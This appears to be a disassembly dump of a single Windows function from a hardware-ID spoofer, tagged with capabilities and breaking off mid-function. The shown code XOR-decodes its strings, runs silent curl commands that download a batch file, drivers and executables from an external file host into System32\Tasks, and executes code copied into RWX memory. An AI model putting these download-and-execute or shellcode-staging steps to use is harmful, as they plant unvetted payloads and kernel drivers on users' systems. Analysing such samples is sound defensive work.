Function at 0x140005ac0
Capabilities:
Allocate or change rwx memory
Delete file
Encode data using xor
Execute command
Execute shellcode via indirect call
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6990]
mov eax, 0x6a90
call fcn.1400c6b80
sub rsp, rax
movaps xmmword [rsp + 0x6a80], xmm6
movaps xmmword [rsp + 0x6a70], xmm7
movaps xmmword [rsp + 0x6a60], xmm8
movaps xmmword [rsp + 0x6a50], xmm9
movaps xmmword [rsp + 0x6a40], xmm10
mov rax, qword [0x1400fff00]
xor rax, rsp
mov qword [rbp + 0x6938], rax
lea rdx, str.e_1_34m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
mov rcx, rax
lea rdx, str._n_n_n__________________________________________n_______________________________n___________________________n______________________.____n__________________________n________________________________n__________________________________________n
call fcn.140023c20
mov rcx, rax
lea rdx, str.e_0m
call fcn.140023c20
lea rdx, [0x140023e00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Please_choose_your_motherboard
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x1400ecc30]
movups xmmword [rbp + 0x58e8], xmm0
movups xmm1, xmmword [0x1400ecc40]
movups xmmword [rbp + 0x58f8], xmm1
movups xmm0, xmmword [0x1400ecc50]
movups xmmword [rbp + 0x5908], xmm0
mov eax, dword [0x1400ecc60]
mov dword [rbp + 0x5918], eax
movzx eax, word [0x1400ecc64]
mov word [rbp + 0x591c], ax
movzx eax, byte [reloc.WS2_32.dll_WSAGetLastError]
mov byte [rbp + 0x591e], al
xor ebx, ebx
mov ecx, ebx
movdqa xmm7, xmmword [0x1400ecd70]
movdqa xmm10, xmmword [0x1400ecd80]
movdqa xmm8, xmmword [0x1400ecd60]
movdqa xmm6, xmmword [0x1400ecd90]
movdqa xmm9, xmmword [0x1400ecd30]
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140005d20
movdqa xmmword [rbp + 0x68d0], xmm10
lea rdx, [rbp + 0x58ec]
mov r8d, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x30
jl 0x140005c30
cmp ecx, 0x37
jge 0x140005d60
movsxd rax, ecx
lea r8, [rbp + 0x58e8]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x39
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x37
jl 0x140005d30
lea rdx, [rbp + 0x58e8]
mov rcx, r9
call fcn.140023c20
nop
lea rcx, [rbp + 0x68f8]
call fcn.1400252c0
lea rcx, [rbp + 0x68f8]
call fcn.140023890
nop
lea rcx, [rbp + 0x6918]
call fcn.1400252c0
lea rcx, [rbp + 0x6918]
call fcn.140023890
nop
lea rdx, [rbp + 0x68f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x68f0]
sub ecx, 1
je 0x1400164ee
sub ecx, 1
je 0x14000e21e
cmp ecx, 1
je 0x140005f72
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x4b40]
lea rcx, [rsp + 0x20]
call fcn.14001f320
mov r9, rax
cmp byte [rax + 0x25], 0
je 0x140005f50
cmp esi, 2
jl 0x140005f0e
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x140005e20
cmp ebx, 0x26
jge 0x140005f50
movsxd r8, ebx
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x39
add dl, bl
xor byte [r8], dl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x26
jl 0x140005f20
mov rdx, r9
mov rcx, rdi
call fcn.140023c20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Spoofing_ASRock
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str._i__Starting_the_first_part_of_spoofing__0_2__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.curl___silent_https:__files.catbox.moe_gv7xzv.bat___output_C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_sdfbn8.sys___output_C:WindowsSystem32Taskswinxsrcsv64.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_n6i5j0.sys___output_C:WindowsSystem32Taskswinxsrcsv64.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_j7goj8.sys___output_C:WindowsSystem32Tasksiqvw64e.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_xre5ck___output_C:WindowsSystem32TasksVolumeid64.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x48]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x480]
call fcn.140005630
mov rdi, rax
lea rdx, [rbp + 0x6548]
lea rcx, [rsp + 0x21]
call fcn.14001e7a0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x140006175
mov r8d, ebx
cmp esi, 2
jl 0x140006134
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140006041
cmp r8d, 0x39
jge 0x140006175
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140006140
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x4a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp - 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
movabs r14, 0xff00ff00ff00ff00
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov r13d, 3
lea rsi, [0x140023f70]
lea rdi, [0x140000000]
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000621b
mov rdx, rbx
cmp rax, rsi
je 0x14000620a
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400061f2
jmp 0x14000621b
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400062ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140006244
mov r8, rbx
jmp 0x1400062de
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140006250
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp - 0x40]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x4a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x480]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x38]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x4c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5a18]
lea rcx, [rsp + 0x22]
call fcn.14001e7e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400064c2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000648d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400063a0
jmp 0x1400064c2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140006490
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x4e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000654a
mov rdx, rbx
cmp rax, rsi
je 0x140006539
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140006521
jmp 0x14000654a
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000662f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140006573
mov r8, rbx
jmp 0x14000660e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140006580
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp - 0x30]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x4e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x28]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x500]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5a50]
lea rcx, [rsp + 0x23]
call fcn.14001e7e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400067f2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400067bd
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400066d0
jmp 0x1400067f2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400067c0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x520]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp - 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000687a
mov rdx, rbx
cmp rax, rsi
je 0x140006869
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140006851
jmp 0x14000687a
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000695f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400068a3
mov r8, rbx
jmp 0x14000693e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400068b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp - 0x20]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x520]
call fcn.140022f30
nop
lea rcx, [rbp + 0x500]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x18]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x540]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5a88]
lea rcx, [rsp + 0x24]
call fcn.14001e820
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140006b22
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140006aed
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140006a00
jmp 0x140006b22
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140006af0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x560]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140006baa
mov rdx, rbx
cmp rax, rsi
je 0x140006b99
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140006b81
jmp 0x140006baa
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140006c8f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140006bd3
mov r8, rbx
jmp 0x140006c6e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
